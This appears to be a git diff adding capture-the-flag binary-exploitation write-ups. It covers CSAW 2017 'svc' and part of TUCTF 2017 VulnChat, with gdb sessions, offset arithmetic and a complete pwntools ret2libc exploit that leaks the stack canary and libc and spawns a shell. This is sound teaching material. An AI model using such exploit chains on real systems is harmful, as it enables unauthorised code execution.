00 00 00 51 d2 48 00 00 00 00 00 │·`k·│····│Q·H·│····│ + 00000430 64 56 41 00 00 00 00 00 3b 00 00 00 00 00 00 00 │dVA·│····│;···│····│ + 00000440 86 06 40 00 00 00 00 00 00 60 6b 00 00 00 00 00 │··@·│····│·`k·│····│ + 00000450 f3 01 41 00 00 00 00 00 00 00 00 00 00 00 00 00 │··A·│····│····│····│ + 00000460 b5 98 44 00 00 00 00 00 00 00 00 00 00 00 00 00 │··D·│····│····│····│ + 00000470 9c 12 40 00 00 00 00 00 │··@·│····│ + 00000478 + [*] Switching to interactive mode + Hello brave new challenger + Any last words? + This will be the last thing that you say: + $ cat flag.txt + flag{g0ttem_b0yz} + $ id + uid=1000(nothing) gid=1000(nothing) groups=1000(nothing),90(network),98(power),972(libvirt),988(storage),990(optical),995(audio),998(wheel) + $ + + + +And that's it! We have been able to spawn a shell and print out the flag! + +## Title + +text + + + + +` ![]() + +## Title + +text + + + + +` ![]() + diff --git a/2/svc.md b/2/svc.md new file mode 100644 index 0000000..530570d --- /dev/null +++ b/2/svc.md @@ -0,0 +1,604 @@ +# Csaw 2017 SVC + +## Downloading the binary file + + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/svc] + → wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/csawquals17_svc/svc + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/svc] + → wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/csawquals17_svc/core + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/svc] + → wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/csawquals17_svc/libc-2.23.so + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/svc] + → chmod +x svc ; ls -lash + total 7.6M + 4.0K drwxr-xr-x 2 nothing nothing 4.0K Mar 6 16:16 . + 4.0K drwxr-xr-x 11 nothing nothing 4.0K Mar 6 16:14 .. + 5.8M -rw-r--r-- 1 nothing nothing 5.8M Mar 6 16:16 core + 1.8M -rw-r--r-- 1 nothing nothing 1.8M Mar 6 16:16 libc-2.23.so + 12K -rwxr-xr-x 1 nothing nothing 11K Mar 6 16:16 svc + + + +` ![]() + +## Solution + +Now let's check out what the binary does when we execute it after using pwn checksec on it: + + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/svc] + → pwn checksec svc + [*] '/home/nothing/binexp/2/svc/svc' + Arch: amd64-64-little + RELRO: Partial RELRO + Stack: Canary found + NX: NX enabled + PIE: No PIE (0x400000) + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/svc] + → ./svc + ------------------------- + [*]SCV GOOD TO GO,SIR.... + ------------------------- + 1.FEED SCV.... + 2.REVIEW THE FOOD.... + 3.MINE MINERALS.... + ------------------------- + >>1 + + +So we see that this is a 64bit dynamically linked binary, it has a stack canary and a non executable stack (NX). Basically, the binary asks us if we want to 1) feed the csv with some text input, 2) review what we just put in, or 3 to quit. + + + ------------------------- + [*]SCV IS ALWAYS HUNGRY..... + ------------------------- + [*]GIVE HIM SOME FOOD....... + ------------------------- + >>foodfoodfood + ------------------------- + [*]SCV GOOD TO GO,SIR.... + ------------------------- + 1.FEED SCV.... + 2.REVIEW THE FOOD.... + 3.MINE MINERALS.... + ------------------------- + >>2 + ------------------------- + [*]REVIEW THE FOOD........... + ------------------------- + [*]PLEASE TREAT HIM WELL..... + ------------------------- + foodfoodfood + + ------------------------- + [*]SCV GOOD TO GO,SIR.... + ------------------------- + 1.FEED SCV.... + 2.REVIEW THE FOOD.... + 3.MINE MINERALS.... + ------------------------- + >>1 + + + + ------------------------- + [*]SCV IS ALWAYS HUNGRY..... + ------------------------- + [*]GIVE HIM SOME FOOD....... + ------------------------- + >>feedfeedfeed + ------------------------- + [*]SCV GOOD TO GO,SIR.... + ------------------------- + 1.FEED SCV.... + 2.REVIEW THE FOOD.... + 3.MINE MINERALS.... + ------------------------- + >>2 + ------------------------- + [*]REVIEW THE FOOD........... + ------------------------- + [*]PLEASE TREAT HIM WELL..... + ------------------------- + feedfeedfeed + + ------------------------- + [*]SCV GOOD TO GO,SIR.... + ------------------------- + 1.FEED SCV.... + 2.REVIEW THE FOOD.... + 3.MINE MINERALS.... + ------------------------- + >>3 + [*]BYE ~ TIME TO MINE MIENRALS... + + + +Now that we see how the binary works approximately, let's check it out inside of ghidra: + +![](44.png) + +Since the main function of the binary is not called 'main' we just search (CTRL+SHIFT+E) in ghidra for one of the keywords that the binary previously gave us like the 'FEED' word and thus we find that the main function is FUN_00400a96, and is quite gigantic so we're going to only focus on the parts we need: + + + undefined8 FUN_00400a96(void) + + { + while (local_c0 != 0) { + pbVar1 = std::operator<<((basic_ostream *)std::cout,"-------------------------"); + + [...] + + std::operator<<((basic_ostream *)std::cout,">>"); + std::basic_istream>::operator>> + ((basic_istream> *)std::cin,&local;_c4); + + if (local_c4 == 2) { + } + + if (local_c4 == 2) { + pbVar1 = std::operator<<((basic_ostream *)std::cout,"-------------------------"); + std::basic_ostream>::operator<< + } + + if (local_c4 == 3) { + + } + + [...] + + } + + } + + + + +First of all we see that we enter a while loop, and for each iteration of the loop it prompts us for a menu option in local_c4. for the option to scan in data (option 1) we see the following: + + + if (local_c4 == 1) { + + [...] + + sVar2 = read(0,local_b8,0xf8); + local_bc = (undefined4)sVar2; + } + else { + pbVar1 = std::operator<<((basic_ostream *)std::cout,"[*]DO NOT HURT MY SCV...."); + std::basic_ostream>::operator<< + ((basic_ostream> *)pbVar1, + std::endl>); + } + + +we see that it uses the read() function to scan in **0xf8** bytes of data into the input variable called **local_b8** Now let's set our breakpoint right after the read() call at 0x400cd3: + +![](45.png) + + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/svc] + → gdb ./svc + GNU gdb (GDB) 10.1 + Copyright (C) 2020 Free Software Foundation, Inc. + License GPLv3+: GNU GPL version 3 or later + This is free software: you are free to change and redistribute it. + There is NO WARRANTY, to the extent permitted by law. + Type "show copying" and "show warranty" for details. + This GDB was configured as "x86_64-pc-linux-gnu". + Type "show configuration" for configuration details. + For bug reporting instructions, please see: + . + Find the GDB manual and other documentation resources online at: + . + + For help, type "help". + Type "apropos word" to search for commands related to "word"... + GEF for linux ready, type `gef' to start, `gef config' to configure + 92 commands loaded for GDB 10.1 using Python engine 3.9 + Reading symbols from ./svc... + (No debugging symbols found in ./svc) + gef➤ b *0x400cd3 + Breakpoint 1 at 0x400cd3 + gef➤ r + Starting program: /home/nothing/binexp/2/svc/svc + ------------------------- + [*]SCV GOOD TO GO,SIR.... + ------------------------- + 1.FEED SCV.... + 2.REVIEW THE FOOD.... + 3.MINE MINERALS.... + ------------------------- + >>1 + ------------------------- + [*]SCV IS ALWAYS HUNGRY..... + ------------------------- + [*]GIVE HIM SOME FOOD....... + ------------------------- + >>13371337 + + Breakpoint 1, 0x0000000000400cd3 in ?? () + [ Legend: Modified register | Code | Heap | Stack | String ] + ──────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── + $rax : 0x9 + $rbx : 0x0000000000400e40 → push r15 + $rcx : 0x00007ffff7ce0052 → 0x5677fffff0003d48 ("H="?) + $rdx : 0xf8 + $rsp : 0x00007fffffffde80 → 0x00000001f7f96ee0 + $rbp : 0x00007fffffffdf40 → 0x0000000000000000 + $rsi : 0x00007fffffffde90 → "13371337\n\t@" + $rdi : 0x0 + $rip : 0x0000000000400cd3 → mov DWORD PTR [rbp-0xb4], eax + $r8 : 0x2 + $r9 : 0x0000000000602000 → 0x0000000000601e18 → 0x0000000000000001 + $r10 : 0xfffffffffffffb88 + $r11 : 0x246 + $r12 : 0x00000000004009a0 → xor ebp, ebp + $r13 : 0x0 + $r14 : 0x0 + $r15 : 0x0 + $eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] + $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 + ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── + 0x00007fffffffde80│+0x0000: 0x00000001f7f96ee0 ← $rsp + 0x00007fffffffde88│+0x0008: 0x0000000000000001 + 0x00007fffffffde90│+0x0010: "13371337\n\t@" ← $rsi + 0x00007fffffffde98│+0x0018: 0x000000000040090a → add cl, ch + 0x00007fffffffdea0│+0x0020: 0x0000000000602080 → 0x0000000000000000 + 0x00007fffffffdea8│+0x0028: 0x00007ffff7c2fac6 → <__internal_atexit+70> test rax, rax + 0x00007fffffffdeb0│+0x0030: 0x0000000000000001 + 0x00007fffffffdeb8│+0x0038: 0x00007fffffffdef0 → 0x00007fffffffdf00 → 0x0000000000000002 + ────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── + 0x400cc6 mov rsi, rax + 0x400cc9 mov edi, 0x0 + 0x400cce call 0x400900 + ●→ 0x400cd3 mov DWORD PTR [rbp-0xb4], eax + 0x400cd9 jmp 0x400dc0 + 0x400cde mov esi, 0x400ec8 + 0x400ce3 mov edi, 0x6021e0 + 0x400ce8 call 0x400940 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt> + 0x400ced mov esi, 0x400980 + ────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── + [#0] Id 1, Name: "svc", stopped 0x400cd3 in ?? (), reason: BREAKPOINT + ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── + [#0] 0x400cd3 → mov DWORD PTR [rbp-0xb4], eax + [#1] 0x7ffff7c17b25 → __libc_start_main() + [#2] 0x4009c9 → hlt + ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── + gef➤ + + + +So what we did here is basically to set the breakpoint right after the read() call, then we ran the binary, selected 1 to feed in our data, and gave in the pattern '13371337' Now from here let's find it by using search-pattern: + + + gef➤ search-pattern 13371337 + [+] Searching '13371337' in memory + [+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw- + 0x7fffffffde90 - 0x7fffffffde9d → "13371337\n\t@" + + gef➤ info frame + Stack level 0, frame at 0x7fffffffdf50: + rip = 0x400cd3; saved rip = 0x7ffff7c17b25 + called by frame at 0x7fffffffe020 + Arglist at 0x7fffffffde78, args: + Locals at 0x7fffffffde78, Previous frame's sp is 0x7fffffffdf50 + Saved registers: + rbp at 0x7fffffffdf40, rip at 0x7fffffffdf48 + + + +Now here we see the memory address of our input at **0x7fffffffde90** and the memory address of the return address at **0x7fffffffdf48** and we calculate the offset as usual: + + + [ 192.168.0.18/24 ] [ /dev/pts/1 ] [blog/binexp/2] + → python3 + Python 3.9.2 (default, Feb 20 2021, 18:40:11) + [GCC 10.2.0] on linux + Type "help", "copyright", "credits" or "license" for more information. + >>> hex( 0x7fffffffde90 - 0x7fffffffdf48 ) + '-0xb8' + + + +Now we know that there is a 0xb8 offset between our input text and the return address + +So let's summarize everything we got so far: + +We have a buffer overflow bug that we can use because of a gets() call and we can get to the return address with it. However the first mitigation we will need to overcome is the stack canary. The stack canary is an eight byte random integer (we saw that it was 4 bytes for x86 systems in the previous challenge [feed](feed.html)) + +However, before the return address is executed, it checks to see if the stack canary has the same value. If it doesn't the program will end. To bypass this, we need to leak the stack canary. That way we can just overwrite the stack canary with itself, so it will pass the stack cnary to check and execute the return address, which we will overwrite with our buffer overflow + +We will leak the stack canary thanks to the following **puts()** call that is being used in the second option: + + + if (local_c4 == 2) { + + [...] + + puts(local_b8); + } + + +it is going to print data that it is given by a pointer until it reaches a null byte. With stack canaries the least significant byte is a null byte. SO we will just send enough data to just overflow the LSB of the stack canary, and then print our input. This will print all of our data and the highest seven eight bytes of the stack canary, and since the lowest byte will always be a nullbyte, we know the full stack canary. With this we can just execute the buffer overflow again and write over the stack canary itself in order to defeat this mitigation. + +To leak the stack canary we will need to send **0xa9** bytes of data, the first **0xa8** will be to fill up the input char array, and the last byte will be to overwrite the LSB of the stack canary. So let's take a look at the memory in more detail since we know that our input starts at **0x7fffffffde90** : + + + gef➤ x/24g 0x7fffffffde90 + 0x7fffffffde90: 0x3733333137333331 0x40090a + 0x7fffffffdea0: 0x602080 0x7ffff7c2fac6 + 0x7fffffffdeb0: 0x1 0x7fffffffdef0 + 0x7fffffffdec0: 0x601df8 0x7fffffffe048 + 0x7fffffffded0: 0x7fffffffe038 0x400e1b + 0x7fffffffdee0: 0x11bf 0x10000ffff + 0x7fffffffdef0: 0x7fffffffdf00 0x400e31 + 0x7fffffffdf00: 0x2 0x400e8d + 0x7fffffffdf10: 0x0 0x400e40 + 0x7fffffffdf20: 0x0 0x4009a0 + 0x7fffffffdf30: 0x7fffffffe030 0x6a77910e1ec4300 + 0x7fffffffdf40: 0x0 0x7ffff7c17b25 + + + +Here we see that our payload begins at 0x7fffffffde90 since there are only 1s 3s and 7s, although i'm not sure as to what it has been formatted to, we see that **0xa8** bytes down the stack the stack canary **0x6a77910e1ec4300** at **0x7fffffffdf38** + +The next step is to defeat the ASLR. ASLR is a mitigation that randomizes the addresses sections of memory. This way when we run the program, we don't actually know where various things in memory are. While the addresses are randomized, the spacing between things are not. For instance the libc (where all the standard functions lik eputs, printf, fgets are stored most of the time) the address of **puts** and **system** will be different everytime we run the program. However the offset between them will remain the same. SO if we leak the address of **puts** we will also leak the address of **system** if we know the offset between the 2. This will allow us to break ASLR in the region where we know one memory and the offset to the next. So let's take a look at the vmmap inside of gdb while we run the binary: + + + gef➤ vmmap + [ Legend: Code | Heap | Stack ] + Start End Offset Perm Path + 0x0000000000400000 0x0000000000402000 0x0000000000000000 r-x /home/nothing/binexp/2/svc/svc + 0x0000000000601000 0x0000000000602000 0x0000000000001000 r-- /home/nothing/binexp/2/svc/svc + 0x0000000000602000 0x0000000000603000 0x0000000000002000 rw- /home/nothing/binexp/2/svc/svc + 0x0000000000603000 0x0000000000624000 0x0000000000000000 rw- [heap] + 0x00007ffff7a8d000 0x00007ffff7a91000 0x0000000000000000 rw- + 0x00007ffff7a91000 0x00007ffff7a94000 0x0000000000000000 r-- /usr/lib/libgcc_s.so.1 + 0x00007ffff7a94000 0x00007ffff7aa5000 0x0000000000003000 r-x /usr/lib/libgcc_s.so.1 + 0x00007ffff7aa5000 0x00007ffff7aa9000 0x0000000000014000 r-- /usr/lib/libgcc_s.so.1 + 0x00007ffff7aa9000 0x00007ffff7aaa000 0x0000000000017000 r-- /usr/lib/libgcc_s.so.1 + 0x00007ffff7aaa000 0x00007ffff7aab000 0x0000000000018000 rw- /usr/lib/libgcc_s.so.1 + 0x00007ffff7aab000 0x00007ffff7aba000 0x0000000000000000 r-- /usr/lib/libm-2.33.so + 0x00007ffff7aba000 0x00007ffff7b55000 0x000000000000f000 r-x /usr/lib/libm-2.33.so + 0x00007ffff7b55000 0x00007ffff7bed000 0x00000000000aa000 r-- /usr/lib/libm-2.33.so + 0x00007ffff7bed000 0x00007ffff7bee000 0x0000000000142000 --- /usr/lib/libm-2.33.so + 0x00007ffff7bee000 0x00007ffff7bef000 0x0000000000142000 r-- /usr/lib/libm-2.33.so + + 0x00007ffff7bef000 0x00007ffff7bf0000 0x0000000000143000 rw- /usr/lib/libm-2.33.so + 0x00007ffff7bf0000 0x00007ffff7c16000 0x0000000000000000 r-- /usr/lib/libc-2.33.so + 0x00007ffff7c16000 0x00007ffff7d62000 0x0000000000026000 r-x /usr/lib/libc-2.33.so + 0x00007ffff7d62000 0x00007ffff7dae000 0x0000000000172000 r-- /usr/lib/libc-2.33.so + 0x00007ffff7dae000 0x00007ffff7db1000 0x00000000001bd000 r-- /usr/lib/libc-2.33.so + 0x00007ffff7db1000 0x00007ffff7db4000 0x00000000001c0000 rw- /usr/lib/libc-2.33.so + 0x00007ffff7db4000 0x00007ffff7dbd000 0x0000000000000000 rw- + + 0x00007ffff7dbd000 0x00007ffff7e53000 0x0000000000000000 r-- /usr/lib/libstdc++.so.6.0.28 + 0x00007ffff7e53000 0x00007ffff7f3f000 0x0000000000096000 r-x /usr/lib/libstdc++.so.6.0.28 + 0x00007ffff7f3f000 0x00007ffff7f88000 0x0000000000182000 r-- /usr/lib/libstdc++.so.6.0.28 + 0x00007ffff7f88000 0x00007ffff7f89000 0x00000000001cb000 --- /usr/lib/libstdc++.so.6.0.28 + 0x00007ffff7f89000 0x00007ffff7f96000 0x00000000001cb000 r-- /usr/lib/libstdc++.so.6.0.28 + 0x00007ffff7f96000 0x00007ffff7f97000 0x00000000001d8000 rw- /usr/lib/libstdc++.so.6.0.28 + 0x00007ffff7f97000 0x00007ffff7f9c000 0x0000000000000000 rw- + 0x00007ffff7fc6000 0x00007ffff7fca000 0x0000000000000000 r-- [vvar] + 0x00007ffff7fca000 0x00007ffff7fcc000 0x0000000000000000 r-x [vdso] + 0x00007ffff7fcc000 0x00007ffff7fcd000 0x0000000000000000 r-- /usr/lib/ld-2.33.so + 0x00007ffff7fcd000 0x00007ffff7ff1000 0x0000000000001000 r-x /usr/lib/ld-2.33.so + 0x00007ffff7ff1000 0x00007ffff7ffa000 0x0000000000025000 r-- /usr/lib/ld-2.33.so + 0x00007ffff7ffb000 0x00007ffff7ffd000 0x000000000002e000 r-- /usr/lib/ld-2.33.so + 0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000030000 rw- /usr/lib/ld-2.33.so + 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] + 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall] + + + +Here we want to break ASLR in the **libc-2.23.so** region where we have read and write permissions, therefore at **00007ffff7bf0000**. + +To do the puts function infoleak, we will need 3 things. The plt address of **puts** (address of the imported function which we will use to call it), the address of the got entry of **puts** which holds the libc address, and a **rop gadget** to pop the got entry into the rdi register, and then return. + +Since the puts call expects it's input (a single char pointer) in the rdi register, that is where we need to place it. To find the **plt** and **got** addresses, we can use pwntools: + + + [ 192.168.0.18/24 ] [ /dev/pts/1 ] [binexp/2/svc] + → python3 + Python 3.9.2 (default, Feb 20 2021, 18:40:11) + [GCC 10.2.0] on linux + Type "help", "copyright", "credits" or "license" for more information. + >>> from pwn import * + >>> elf = ELF('svc') + [*] '/home/nothing/binexp/2/svc/svc' + Arch: amd64-64-little + RELRO: Partial RELRO + Stack: Canary found + NX: NX enabled + PIE: No PIE (0x400000) + >>> print("plt addr:" + hex(elf.symbols['puts'])) + plt addr:0x4008d0 + >>> print("got addr:" + hex(elf.got['puts'])) + got addr:0x602018 + + + +To find the gadget we need, let's use [ROPGadget](https://github.com/JonathanSalwan/ROPgadget) like we used in the previous challenges already + + + [ 192.168.0.18/24 ] [ /dev/pts/1 ] [binexp/2/svc] + → ROPgadget --binary svc| grep "pop rdi" + 0x0000000000400ea3 : pop rdi ; ret + + + +The last mitigation we will overcome is the NX (Non executable stack), this means that the stack does not have the execute permission. SO we cannot execute code on the stack. Our method to bypass this will have to be a mix of a ROP chain, and a ret2libc (return to libc) attack. ROP is when we take bits of code that already are in the binary and make them work together in the manner that we want. + +What we need here is to use ROP Gadgets, which are essentially pointers to the bits of code that end in a **ret** instruction which will make it move to the next gadget. Since these are all valid instruction pointers to code that should run, it will be markeed as executable regardless of the NX. + + + gef➤ p puts + $1 = {<****text variable, no debug info>} 0x7ffff7c66cd0 + gef➤ p system + $2 = {<****text variable, no debug info>} 0x7ffff7c3a120 + gef➤ search-pattern /bin/sh + [+] Searching '/bin/sh' in memory + [+] In '/usr/lib/libc-2.33.so'(0x7ffff7d62000-0x7ffff7dae000), permission=r-- + 0x7ffff7d7c966 - 0x7ffff7d7c96d → "/bin/sh" + + + +We calculate the offsets: + + + [ 192.168.0.18/24 ] [ /dev/pts/9 ] [blog/binexp/2] + → python3 + Python 3.9.2 (default, Feb 20 2021, 18:40:11) + [GCC 10.2.0] on linux + Type "help", "copyright", "credits" or "license" for more information. + >>> hex( 0x7ffff7c66cd0 - 0x00007ffff7d62000 ) + '-0xfb330' + >>> hex( 0x7ffff7c3a120 - 0x00007ffff7d62000 ) + '-0x127ee0' + >>> hex( 0x7ffff7d7c966 - 0x00007ffff7d62000 ) + '0x1a966' + + + +and with this we can create the exploit: + + + [ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/svc] + → vim exploit.py + + + + + from pwn import * + + target = process("./svc") + gdb.attach(target) + + elf = ELF('svc') + + + # 0x0000000000400ea3 : pop rdi ; ret + popRdi = p64(0x400ea3) + + gotPuts = p64(0x602018) + pltPuts = p64(0x4008cc) + + offsetPuts = 0xfb330 + offsetSystem = 0x127ee0 + offsetBinsh = 0x1a966 + + startMain = p64(0x400a96) + + # Establish fucntions to handle I/O with the target + def feed(data): + print(target.recvuntil(">>")) + target.sendline(b'1') + print(target.recvuntil(">>")) + target.send(data) + + def review(): + print(target.recvuntil(">>")) + target.sendline(b'2') + #print target.recvuntil("[*]PLEASE TREAT HIM WELL.....\n-------------------------\n") + #leak = target.recvuntil("-------------------------").replace("-------------------------", "") + print(target.recvuntil(b"0"*0xa9)) + canaryLeak = target.recv(7) + canary = u64(b"\x00" + canaryLeak) + print("canary is: " + hex(canary)) + return canary + + def leave(): + print(target.recvuntil(">>")) + target.sendline(b"3") + + # Start of with the canary leak. We will overflow the buffer write up to the stack canary, and overwrite the least signifcant byte of the canary + leakCanary = b"" + leakCanary += b"0"*0xa8 # Fill up space up to the canary + leakCanary += b"0" # Overwrite least significant byte of the canary + + + + feed(leakCanary) # Execute the overwrite + + canary = review() # Leak the canary, and parse it out + + # Start the rop chain to give us a libc infoleak + leakLibc = b"" + leakLibc += b"0"*0xa8 # Fill up space up to the canary + leakLibc += p64(canary) # Overwrite the stack canary with itself + leakLibc += b"1"*0x8 # 8 more bytes until the return address + leakLibc += popRdi # Pop got entry for puts in rdi register + leakLibc += gotPuts # GOT address of puts + leakLibc += pltPuts # PLT address of puts + leakLibc += startMain # Loop back around to the start of main + + # Send the payload to leak libc + feed(leakLibc) + + # Return to execute our code + leave() + + # Scan in and parse out the infoleak + + print(target.recvuntil("[*]BYE ~ TIME TO MINE MIENRALS...\x0a")) + + putsLeak = target.recvline().replace(b"\x0a", b"") + + putsLibc = u64(putsLeak + b"\x00"*(8-len(putsLeak))) + + # Calculate the needed addresses + + libcBase = putsLibc - offsetPuts + systemLibc = libcBase + offsetSystem + binshLibc = libcBase + offsetBinsh + + print("libc base: " + hex(libcBase)) + + # Form the payload to return to system + + payload = b"" + payload += b"0"*0xa8 + payload += p64(canary) + payload += b"1"*0x8 + payload += popRdi # Pop "/bin/sh" into the rdi register, where it expects it's argument (single char pointer) + payload += p64(binshLibc) # Address to '/bin/sh' + payload += p64(systemLibc) # Libc address of system + + # Send the final payload + feed(payload) + + target.sendline(b"3") + + #feed(payload) + + # Return to execute our code, return to system and get a shell + #leave() + + target.interactive() + + + +## Title + +text + + + + +` ![]() + +## Title + +text + + + + +` ![]() + diff --git a/2/vuln.md b/2/vuln.md new file mode 100644 index 0000000..5ea1ecd --- /dev/null +++ b/2/vuln.md @@ -0,0 +1,421 @@ +# TUCTF 2017 VulnChat + +## Downloading the binary file + + + [ 192.168.0.18/24 ] [ /dev/pts/3 ] [binexp/2/vulnchat] + → wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/05-bof_callfunction/tu17_vulnchat/vuln-chat + --2021-03-01 09:42:07-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/05-bof_callfunction/tu17_vulnchat/vuln-chat + Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt' + Resolving github.com (github.com)... 140.82.121.3 + Connecting to github.com (github.com)|140.82.121.3|:443... connected. + HTTP request sent, awaiting response... 302 Found + Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/05-bof_callfunction/tu17_vulnchat/vuln-chat [following] + --2021-03-01 09:42:08-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/05-bof_callfunction/tu17_vulnchat/vuln-chat + Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.111.133, 185.199.110.133, ... + Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected. + HTTP request sent, awaiting response... 200 OK + Length: 6092 (5.9K) [application/octet-stream] + Saving to: ‘vuln-chat’ + + vuln-chat 100%[================================================================>] 5.95K --.-KB/s in 0s + + 2021-03-01 09:42:08 (30.0 MB/s) - ‘vuln-chat’ saved [6092/6092] + + + [ 192.168.0.18/24 ] [ /dev/pts/3 ] [binexp/2/vulnchat] + → file vuln-chat + vuln-chat: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a3caa1805eeeee1454ee76287be398b12b5fa2b7, not stripped + + [ 192.168.0.18/24 ] [ /dev/pts/3 ] [binexp/2/vulnchat] + → chmod +x vuln-chat + + + +` ![]() + +## Solution + +First step is to execute the binary to see what it does: + + + [ 192.168.0.18/24 ] [ /dev/pts/3 ] [binexp/2/vulnchat] + → ./vuln-chat + ----------- Welcome to vuln-chat ------------- + Enter your username: nothing + Welcome nothing! + Connecting to 'djinn' + --- 'djinn' has joined your chat --- + djinn: I have the information. But how do I know I can trust you? + nothing: you can't lol + djinn: Sorry. That's not good enough + + + +Let's inspect it in ghidra: + +![](18.png) + +Which gives us the following code: + + + undefined4 main(void) + + { + undefined local_31 [20]; + undefined local_1d [20]; + undefined4 local_9; + undefined local_5; + + setvbuf(stdout,(char *)0x0,2,0x14); + puts("----------- Welcome to vuln-chat -------------"); + printf("Enter your username: "); + local_9 = 0x73303325; + local_5 = 0; + __isoc99_scanf(&local;_9,local_1d); + printf("Welcome %s!\n",local_1d); + puts("Connecting to \'djinn\'"); + sleep(1); + puts("--- \'djinn\' has joined your chat ---"); + puts("djinn: I have the information. But how do I know I can trust you?"); + printf("%s: ",local_1d); + __isoc99_scanf(&local;_9,local_31); + puts("djinn: Sorry. That\'s not good enough"); + fflush(stdout); + return 0; + } + + + +Here we see that first we get asked for our username, and then our input text gets put into local_1d (20 bytes) and then there is another scanf which puts our input text into local_31 (20 bytes aswell). For both scanf there is another variable being used called '&local;_9' this is a format specifier whcich is stored on the stack: + +![](19.png) + + + 080485be c7 45 fb MOV dword ptr [EBP + local_9],0x73303325 + 25 33 30 73 + + + +here we see that an address is being called '0x73303325', and to see what it is we can just click on it and wait for ghidra to show us what it is: + +![](20.png) + + + s03% + + + +since we are dealing with a 32bit LSB executable, this is written in little endian (reverse or least important byte first) we get the following: + + + %30s + + +so now we know that both scanf functions take our input characters with '%30s' or '30 characters'. So let's take a look at the stack layout from ghidra: + + + ************************************************************** + * FUNCTION * + ************************************************************** + undefined main() + undefined AL:1 + undefined1 Stack[-0x5]:1 local_5 XREF[1]: 080485c5(W) + undefined4 Stack[-0x9]:4 local_9 XREF[3]: 080485be(W), + 080485cd(*), + 08048630(*) + undefined1 Stack[-0x1d]:1 local_1d XREF[3]: 080485c9(*), + 080485d9(*), + 0804861b(*) + undefined1 Stack[-0x31]:1 local_31 XREF[1]: 0804862c(*) + main XREF[4]: Entry Point(*), + _start:08048487(*), 08048830, + 080488ac(*) + 0804858a 55 PUSH EBP + + + +Now the second time we are prompted for text, the text gets stored into local_31 located at -0x31, the first time we get prompted for text, the text gets stored in local_1d at -0x1d. Therefore local_31 can hold 0x31 - 0x1d bytes: + + + [ 192.168.0.18/24 ] [ /dev/pts/52 ] [~] + → python3 + Python 3.9.2 (default, Feb 20 2021, 18:40:11) + [GCC 10.2.0] on linux + Type "help", "copyright", "credits" or "license" for more information. + >>> hex(0x31 - 0x1d) + '0x14' + + +now that we know that local_31 can hold 14 bytes, let's see how much the local_1d variable hold aswell: 0x1d - 0x9 + + + >>> hex(0x1d - 0x9) + '0x14' + + +So both local_31 and local_1d can hold 14 bytes respectively. And since we can scan in 30 bytes of data, that gives us 16 bytes to overflow with (or 0x10 bytes) + +The idea here is to first overflow with local_1d to overflow to the value of local_9 (where the %30s is written in little endian as we saw earlier). Then we will be able to specify how much data the second scanf call will scan. And with that we will be able to scan in more than enough data to overwrite the saved return address to get code execution when the ret instruction executes. Now let's check if there is a flag function in ghidra: + +![](21.png) + + + void printFlag(void) + + { + system("/bin/cat ./flag.txt"); + puts("Use it wisely"); + return; + } + + +Now with all of that, let's look at how the memory is corrupted during the exploit. First we set a breakpoint right after the second scanf call at '0x08048639': + + + 08048634 e8 27 fe CALL __isoc99_scanf undefined __isoc99_scanf() + ff ff + 08048639 83 c4 08 ADD ESP,0x8 + + + + + [ 192.168.0.18/24 ] [ /dev/pts/52 ] [binexp/2/vulnchat] + → gdb ./vuln-chat + GNU gdb (GDB) 10.1 + Copyright (C) 2020 Free Software Foundation, Inc. + License GPLv3+: GNU GPL version 3 or later + This is free software: you are free to change and redistribute it. + There is NO WARRANTY, to the extent permitted by law. + Type "show copying" and "show warranty" for details. + This GDB was configured as "x86_64-pc-linux-gnu". + Type "show configuration" for configuration details. + For bug reporting instructions, please see: + . + Find the GDB manual and other documentation resources online at: + . + + For help, type "help". + Type "apropos word" to search for commands related to "word"... + GEF for linux ready, type `gef' to start, `gef config' to configure + 92 commands loaded for GDB 10.1 using Python engine 3.9 + Reading symbols from ./vuln-chat... + (No debugging symbols found in ./vuln-chat) + gef➤ b *0x8048639 + Breakpoint 1 at 0x8048639 + gef➤ r + Starting program: /home/nothing/binexp/2/vulnchat/vuln-chat + ----------- Welcome to vuln-chat ------------- + Enter your username: 321654987 + Welcome 321654987! + Connecting to 'djinn' + --- 'djinn' has joined your chat --- + djinn: I have the information. But how do I know I can trust you? + 321654987: 987654321 + + Breakpoint 1, 0x08048639 in main () + [ Legend: Modified register | Code | Heap | Stack | String ] + 